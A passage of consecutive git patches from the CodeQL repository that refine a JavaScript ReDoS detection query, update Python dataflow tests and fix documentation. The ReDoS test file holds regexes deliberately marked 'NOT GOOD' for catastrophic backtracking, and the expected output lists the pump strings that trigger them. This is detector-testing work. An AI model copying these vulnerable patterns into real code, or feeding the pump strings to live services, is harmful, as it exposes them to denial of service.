getAnInstantiation().getAMember() and + result.hasName(name) + } +} + /** * A `std::` stream function that does not require a model, except that it * returns a reference to `*this` and thus could be used in a chain. */ private class StdStreamFunction extends DataFlowFunction, TaintFunction { StdStreamFunction() { - this.hasQualifiedName("std", "basic_istream", ["ignore", "unget", "seekg"]) or - this.hasQualifiedName("std", "basic_ostream", ["seekp", "flush"]) or - this.hasQualifiedName("std", "basic_ios", "copyfmt") + this = any(StdBasicIStream s).getAnInstMemberNamed(["ignore", "unget", "seekg"]) + or + this = any(StdBasicOStream s).getAnInstMemberNamed(["seekp", "flush"]) + or + this = any(StdBasicIOS s).getAnInstMemberNamed("copyfmt") } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { From 729073fb431fb96f3a125b747255c519c543d111 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 25 Nov 2020 10:40:38 +0100 Subject: [PATCH 0098/1241] detect ReDoS when the choices are "match some string" or "match Epsilon" --- javascript/ql/src/Performance/ReDoS.ql | 25 +++++++++++++++--- .../Performance/ReDoS/ReDoS.expected | 14 ++++++++++ .../test/query-tests/Performance/ReDoS/tst.js | 26 ++++++++++++++++++- 3 files changed, 60 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index a6e19db550f..eb7c0577988 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -702,6 +702,10 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { r1 != r2 or r1 = r2 and q1 != q2 + or + r1 = r2 and + q1 = q2 and + epsilonSucc+(q) = q ) and stateInsideBacktracking(r1) and stateInsideBacktracking(r2) @@ -1114,12 +1118,25 @@ predicate isReDoSAttackable(RegExpTerm term, string pump, State s) { } /** - * Holds if repeating `w' starting at `s` is a candidate for causing exponential backtracking. + * Holds if repeating `pump' starting at `state` is a candidate for causing exponential backtracking. * No check whether a rejected suffix exists has been made. */ -predicate isReDoSCandidate(State s, string w) { - isPumpable(s, w) and - not isPumpable(epsilonSucc+(s), _) +predicate isReDoSCandidate(State state, string pump) { + isPumpable(state, pump) and + ( + not isPumpable(epsilonSucc+(state), _) + or + epsilonSucc+(state) = state and + state = + max(State s, Location l | + s = epsilonSucc+(state) and + l = s.getRepr().getLocation() and + isPumpable(s, _) and + s.getRepr() instanceof InfiniteRepetitionQuantifier + | + s order by l.getStartLine(), l.getStartColumn(), l.getEndColumn(), l.getEndLine() + ) + ) } /** diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 7ce91dcf237..5395f090a9b 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -11,6 +11,7 @@ | regexplib/email.js:5:24:5:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:5:63:5:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:6:10:6:35 | (?:[a-zA-Z0-9][\\.\\-\\+_]?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | +| regexplib/email.js:13:36:13:44 | [a-zA-Z]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. | | regexplib/email.js:25:67:25:78 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:25:106:25:117 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:25:212:25:223 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | @@ -22,6 +23,7 @@ | regexplib/email.js:34:24:34:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:34:63:34:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/markup.js:3:451:3:453 | .+? | This part of the regular expression may cause exponential backtracking on strings starting with '\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:24:56:24:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:79:3:79:25 | (\\/w\|\\/W\|[^<>+?$%{}&])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/W'. | @@ -38,8 +41,10 @@ | regexplib/misc.js:148:20:148:22 | \\s+ | This part of the regular expression may cause exponential backtracking on strings starting with '+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. | | tst.js:66:38:66:40 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. | @@ -123,3 +129,11 @@ | tst.js:305:18:305:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | | tst.js:308:16:308:24 | ([^/]\|X)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'X'. | | tst.js:311:20:311:24 | [^Y]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'x' and containing many repetitions of 'Xx'. | +| tst.js:314:15:314:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:317:18:317:23 | [\\w-]* | This part of the regular expression may cause exponential backtracking on strings starting with 'foo' and containing many repetitions of '-'. | +| tst.js:320:15:320:19 | (ab)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ab'. | +| tst.js:323:14:323:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:326:15:326:19 | (a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:329:14:329:20 | (c?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:332:14:332:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:335:14:335:20 | (a?b?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index 822aa3724ba..d173f991bba 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -54,7 +54,7 @@ var bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/ // GOOD var good6 = /(a|.)*/; -// NOT GOOD; we cannot detect all of them due to the way we build our NFAs +// NOT GOOD; But we don't detect the last one due to how we construct the NFA. var bad7 = /^([a-z]+)+$/; var bad8 = /^([a-z]*)*$/; var bad9 = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/; @@ -309,3 +309,27 @@ var good36 = /(([^/]|X)+)(\/[^]*)*$/; // GOOD - but we spuriously conclude that a rejecting suffix exists. var good37 = /^((x([^Y]+)?)*(Y|$))/; + +// NOT GOOD +var bad68 = /(a*)+b/; + +// NOT GOOD +var bad69 = /foo([\w-]*)+bar/; + +// NOT GOOD +var bad70 = /((ab)*)+c/; + +// NOT GOOD +var bad71 = /(a?a?)*b/; + +// GOOD - but still flagged. only quadratic blowup. (The NFA looks very similar to `/(a*)*b/`) +var good38 = /(a?)*b/; + +// NOT GOOD - but wrong pump string. +var bad72 = /(c?a?)*b/; + +// NOT GOOD +var bad73 = /(?:a|a?)+b/; + +// NOT GOOD - but wrong pump string. +var bad74 = /(a?b?)*$/; \ No newline at end of file From d7b22e3b1b1c560dd49994c37c62c6a216c20545 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Fri, 27 Nov 2020 19:15:37 +0100 Subject: [PATCH 0099/1241] update expected output for PolynomialBackTracking --- .../Performance/ReDoS/PolynomialBackTracking.expected | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index 644c351c9c2..f59181d085c 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -280,3 +280,13 @@ | tst.js:293:21:293:25 | (a+)* | it can start matching anywhere | | tst.js:293:22:293:23 | a+ | it can start matching anywhere | | tst.js:296:15:296:24 | ((;\|^)a+)+ | it can start matching anywhere | +| tst.js:308:16:308:24 | ([^/]\|X)+ | it can start matching anywhere | +| tst.js:314:14:314:18 | (a*)+ | it can start matching anywhere | +| tst.js:314:15:314:16 | a* | it can start matching anywhere | +| tst.js:320:14:320:21 | ((ab)*)+ | it can start matching anywhere | +| tst.js:320:15:320:19 | (ab)* | it can start matching anywhere | +| tst.js:323:14:323:20 | (a?a?)* | it can start matching anywhere | +| tst.js:326:15:326:19 | (a?)* | it can start matching anywhere | +| tst.js:329:14:329:20 | (c?a?)* | it can start matching anywhere | +| tst.js:332:14:332:22 | (?:a\|a?)+ | it can start matching anywhere | +| tst.js:335:14:335:20 | (a?b?)* | it can start matching anywhere | From 33b2701551633c784b5fbcfd8546f719096e4011 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Sun, 29 Nov 2020 21:42:50 +0100 Subject: [PATCH 0100/1241] refine isFork to remove false positive when a state has epsilon transition to itself --- javascript/ql/src/Performance/ReDoS.ql | 20 ++++++++++++++++++- .../Performance/ReDoS/ReDoS.expected | 1 - .../test/query-tests/Performance/ReDoS/tst.js | 2 +- 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index eb7c0577988..62457c651ce 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -705,7 +705,25 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { or r1 = r2 and q1 = q2 and - epsilonSucc+(q) = q + epsilonSucc+(q) = q and + exists(RegExpTerm term | term = q.getRepr() | term instanceof InfiniteRepetitionQuantifier) and + ( + // There is either multiple possible "mid" states. + count(State mid | + mid = epsilonSucc+(q) and + q = epsilonSucc+(mid) and + not mid = q + ) > 2 + or + // Or one of the mid states is an infinite quantifier itself + exists(State mid, RegExpTerm term | + mid = epsilonSucc+(q) and + q = epsilonSucc+(mid) and + not mid = q and + term = mid.getRepr() and + term instanceof InfiniteRepetitionQuantifier + ) + ) ) and stateInsideBacktracking(r1) and stateInsideBacktracking(r2) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 5395f090a9b..f6bd287b5d8 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -133,7 +133,6 @@ | tst.js:317:18:317:23 | [\\w-]* | This part of the regular expression may cause exponential backtracking on strings starting with 'foo' and containing many repetitions of '-'. | | tst.js:320:15:320:19 | (ab)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ab'. | | tst.js:323:14:323:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | -| tst.js:326:15:326:19 | (a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:329:14:329:20 | (c?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:332:14:332:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:335:14:335:20 | (a?b?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index d173f991bba..b2be76758e0 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -322,7 +322,7 @@ var bad70 = /((ab)*)+c/; // NOT GOOD var bad71 = /(a?a?)*b/; -// GOOD - but still flagged. only quadratic blowup. (The NFA looks very similar to `/(a*)*b/`) +// GOOD var good38 = /(a?)*b/; // NOT GOOD - but wrong pump string. From 4ab3fff9733b57af62bab200187f42842f769e55 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 30 Nov 2020 10:42:30 +0100 Subject: [PATCH 0101/1241] Python: Fix untrusted data to external API example The hmac.digest function was only added in python 3.7, so obviously doesn't work on Python 2 --- .../ExternalAPIsUsedWithUntrustedData.expected | 2 +- .../UntrustedDataToExternalAPI.expected | 6 +++--- .../test/query-tests/Security/CWE-020-ExternalAPIs/test.py | 4 +++- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected index de9fcf05e3c..c070169615c 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.expected @@ -1 +1 @@ -| hmac.digest [param 1] | 1 | 1 | +| hmac.new [param 1] | 1 | 1 | diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected index 748e814b06f..e83a3558a61 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.expected @@ -1,7 +1,7 @@ edges -| test.py:13:16:13:27 | ControlFlowNode for Attribute | test.py:15:38:15:41 | ControlFlowNode for data | +| test.py:13:16:13:27 | ControlFlowNode for Attribute | test.py:15:36:15:39 | ControlFlowNode for data | nodes | test.py:13:16:13:27 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| test.py:15:38:15:41 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | +| test.py:15:36:15:39 | ControlFlowNode for data | semmle.label | ControlFlowNode for data | #select -| test.py:15:38:15:41 | ControlFlowNode for data | test.py:13:16:13:27 | ControlFlowNode for Attribute | test.py:15:38:15:41 | ControlFlowNode for data | Call to hmac.digest [param 1] with untrusted data from $@. | test.py:13:16:13:27 | ControlFlowNode for Attribute | ControlFlowNode for Attribute | +| test.py:15:36:15:39 | ControlFlowNode for data | test.py:13:16:13:27 | ControlFlowNode for Attribute | test.py:15:36:15:39 | ControlFlowNode for data | Call to hmac.new [param 1] with untrusted data from $@. | test.py:13:16:13:27 | ControlFlowNode for Attribute | ControlFlowNode for Attribute | diff --git a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py index 2b62e26dc36..b88748fbb29 100644 --- a/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py +++ b/python/ql/test/query-tests/Security/CWE-020-ExternalAPIs/test.py @@ -12,7 +12,8 @@ SECRET_KEY = b"SECRET_KEY" def hmac_example(): data_raw = request.args.get("data").encode('utf-8') data = base64.decodebytes(data_raw) - digest = hmac.digest(SECRET_KEY, data, hashlib.sha256) + my_hmac = hmac.new(SECRET_KEY, data, hashlib.sha256) + digest = my_hmac.digest() print(digest) return "ok" @@ -32,4 +33,5 @@ def unknown_lib_2(): if __name__ == "__main__": + # http://127.0.0.1:5000/hmac-example?data=aGVsbG8gd29ybGQh app.run(debug=True) From fd8c696b67e36d2c753ce2d1990eddd189e16770 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Mon, 30 Nov 2020 12:24:35 +0100 Subject: [PATCH 0102/1241] Python: Fix documentation for path injection. --- .../ql/src/Security/CWE-022/PathInjection.ql | 22 ++++++++++--------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/python/ql/src/Security/CWE-022/PathInjection.ql b/python/ql/src/Security/CWE-022/PathInjection.ql index ac1c768d4e3..dce99581973 100644 --- a/python/ql/src/Security/CWE-022/PathInjection.ql +++ b/python/ql/src/Security/CWE-022/PathInjection.ql @@ -14,7 +14,18 @@ * external/cwe/cwe-036 * external/cwe/cwe-073 * external/cwe/cwe-099 - * + */ + +import python +import semmle.python.dataflow.new.DataFlow +import semmle.python.dataflow.new.DataFlow2 +import semmle.python.dataflow.new.TaintTracking +import semmle.python.dataflow.new.TaintTracking2 +import semmle.python.Concepts +import semmle.python.dataflow.new.RemoteFlowSources +import ChainedConfigs12 + +/* * The query detects cases where a user-controlled path is used in an unsafe manner, * meaning it is not both normalized and _afterwards_ checked. * @@ -36,15 +47,6 @@ * to a sink. */ -import python -import semmle.python.dataflow.new.DataFlow -import semmle.python.dataflow.new.DataFlow2 -import semmle.python.dataflow.new.TaintTracking -import semmle.python.dataflow.new.TaintTracking2 -import semmle.python.Concepts -import semmle.python.dataflow.new.RemoteFlowSources -import ChainedConfigs12 - // --------------------------------------------------------------------------- // Case 1. The path is never normalized. // --------------------------------------------------------------------------- From 509d153b6137d2a31601a61e49f3ec1d08aecfb1 Mon Sep 17 00:00:00 2001 From: James Fletcher <42464962+jf205@users.noreply.github.com> Date: Mon, 30 Nov 2020 12:12:10 +0000 Subject: [PATCH 0103/1241] Apply suggestions from code review Co-authored-by: Shati Patel <42641846+shati-patel@users.noreply.github.com> --- docs/codeql/ql-language-reference/index.rst | 4 ++-- docs/codeql/writing-codeql-queries/index.rst | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/codeql/ql-language-reference/index.rst b/docs/codeql/ql-language-reference/index.rst index ff1171787e7..55b992ea713 100644 --- a/docs/codeql/ql-language-reference/index.rst +++ b/docs/codeql/ql-language-reference/index.rst @@ -35,7 +35,7 @@ Learn all about QL, the powerful query language that underlies the code scanning - :doc:`QL language specification `: A formal specification for the QL language. It provides a comprehensive reference for terminology, syntax, and other technical details about QL. -- :doc:`QLDoc comment specification `: a formal specification for QLDoc comments. +- :doc:`QLDoc comment specification `: A formal specification for QLDoc comments. .. toctree:: :maxdepth: 1 @@ -56,4 +56,4 @@ Learn all about QL, the powerful query language that underlies the code scanning name-resolution evaluation-of-ql-programs ql-language-specification - qldoc-comment-specification \ No newline at end of file + qldoc-comment-specification diff --git a/docs/codeql/writing-codeql-queries/index.rst b/docs/codeql/writing-codeql-queries/index.rst index f88e35080f4..f2aea92c4e5 100644 --- a/docs/codeql/writing-codeql-queries/index.rst +++ b/docs/codeql/writing-codeql-queries/index.rst @@ -5,7 +5,7 @@ Writing CodeQL queries Get to know more about queries and learn some key query-writing skills by solving puzzles. -- :ref:`CodeQL `: CodeQL queries are used in code scanning analyses to find problems in source code, including potential security vulnerabilities. +- :ref:`CodeQL queries `: CodeQL queries are used in code scanning analyses to find problems in source code, including potential security vulnerabilities. - :ref:`QL tutorials `: Solve puzzles to learn the basics of QL before you analyze code with CodeQL. The tutorials teach you how to write queries and introduce you to key logic concepts along the way. @@ -13,4 +13,4 @@ Get to know more about queries and learn some key query-writing skills by solvin :hidden: ql-tutorials/index - codeql-queries/index \ No newline at end of file + codeql-queries/index From 673ff901fbe5d8e6206168e71cf500fdb9b5317d Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Mon, 30 Nov 2020 14:18:22 +0100 Subject: [PATCH 0104/1241] Python: Test for unpacking assignment --- python/ql/test/experimental/dataflow/coverage/test.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 0733050742a..2787103fd87 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -516,6 +516,14 @@ def test_swap(): SINK(b) +@expects(2) +def test_unpacking_assignment(): + t = (SOURCE, NONSOURCE) + a, b = t + SINK(a) # Flow missing + SINK_F(b) + + def test_deep_callgraph(): # port of python/ql/test/library-tests/taint/general/deep.py From f345e559517651f2acc02969cf6197ad5bf2c8d9 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Mon, 30 Nov 2020 14:21:30 +0100 Subject: [PATCH 0105/1241] Python: Adjust test expectations --- .../experimental/dataflow/coverage/dataflow.expected | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 252dd738f0d..06dc128f283 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -61,7 +61,7 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:492:33:492:38 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:497:39:497:44 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:509:9:509:14 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:588:16:588:21 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:596:16:596:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | @@ -180,7 +180,7 @@ edges | test.py:497:39:497:44 | ControlFlowNode for SOURCE | test.py:497:10:497:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | -| test.py:588:16:588:21 | ControlFlowNode for SOURCE | test.py:591:10:591:36 | ControlFlowNode for return_from_inner_scope() | +| test.py:596:16:596:21 | ControlFlowNode for SOURCE | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | | datamodel.py:13:1:13:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | @@ -357,8 +357,8 @@ nodes | test.py:509:9:509:14 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:511:10:511:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:516:10:516:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | -| test.py:588:16:588:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:591:10:591:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | +| test.py:596:16:596:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:13:10:13:17 | ControlFlowNode for Str | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | @@ -456,5 +456,5 @@ nodes | test.py:511:10:511:10 | ControlFlowNode for a | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | Flow found | | test.py:516:10:516:10 | ControlFlowNode for b | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | | test.py:516:10:516:10 | ControlFlowNode for b | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | -| test.py:591:10:591:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:591:10:591:36 | ControlFlowNode for return_from_inner_scope() | Flow found | -| test.py:591:10:591:36 | ControlFlowNode for return_from_inner_scope() | test.py:588:16:588:21 | ControlFlowNode for SOURCE | test.py:591:10:591:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | test.py:596:16:596:21 | ControlFlowNode for SOURCE | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | Flow found | From 94e90aac39514348dc6971af02fee4b3a1a06128 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 30 Nov 2020 14:40:33 +0100 Subject: [PATCH 0106/1241] Python: Only one `Unit` implementation Conflict arose since the Unit in DataFlowPrivate was added in a merged PR. The behavior from this PR will make it match what java does (https://github.com/github/codeql/blob/931322e4c5c05e150bed41cb837e8ecc23c32427/java/ql/src/semmle/code/Unit.qll) --- .../python/dataflow/new/internal/DataFlowPrivate.qll | 9 --------- 1 file changed, 9 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 34e07e3620e..388e08a42fb 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1151,14 +1151,5 @@ predicate isImmutableOrUnobservable(Node n) { none() } int accessPathLimit() { result = 5 } -/** The unit type. */ -private newtype TUnit = TMkUnit() - -/** The trivial type with a single element. */ -class Unit extends TUnit { - /** Gets a textual representation of this element. */ - string toString() { result = "unit" } -} - /** Holds if `n` should be hidden from path explanations. */ predicate nodeIsHidden(Node n) { none() } From 289b9e62f9914ea4fd3c6f7bf101808df3ec7795 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Mon, 30 Nov 2020 15:30:14 +0100 Subject: [PATCH 0107/1241] Python: Add read step for unpacking assignment --- .../dataflow/new/internal/DataFlowPrivate.qll | 23 +++++++++++++++++++ .../dataflow/coverage/dataflow.expected | 12 ++++++++++ .../experimental/dataflow/coverage/test.py | 2 +- 3 files changed, 36 insertions(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 34e07e3620e..e25752f2224 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -976,6 +976,8 @@ predicate kwOverflowStoreStep(CfgNode nodeFrom, DictionaryElementContent c, Node predicate readStep(Node nodeFrom, Content c, Node nodeTo) { subscriptReadStep(nodeFrom, c, nodeTo) or + unpackingAssignmentReadStep(nodeFrom, c, nodeTo) + or popReadStep(nodeFrom, c, nodeTo) or comprehensionReadStep(nodeFrom, c, nodeTo) @@ -1008,6 +1010,27 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { ) } +/** Data flows from an iterable to an assigned variable. */ +predicate unpackingAssignmentReadStep(CfgNode nodeFrom, Content c, EssaNode nodeTo) { + // iterable unpacking + // `a, b = iterable` + // nodeFrom is `iterable`, cfg node + // nodeTo is `a` (or `b`), essa var + // c is compatible with `a`s (or `b`s) index + exists(Assign assign, int index, SequenceNode target | + target.getNode() = assign.getATarget() and + nodeTo.getVar().getDefinition().(MultiAssignmentDefinition).indexOf(index, target) and + nodeFrom.asExpr() = assign.getValue() and + ( + c instanceof ListElementContent + or + c instanceof SetElementContent + or + c.(TupleElementContent).getIndex() = index + ) + ) +} + /** Data flows from a sequence to a call to `pop` on the sequence. */ predicate popReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { // set.pop or list.pop diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected 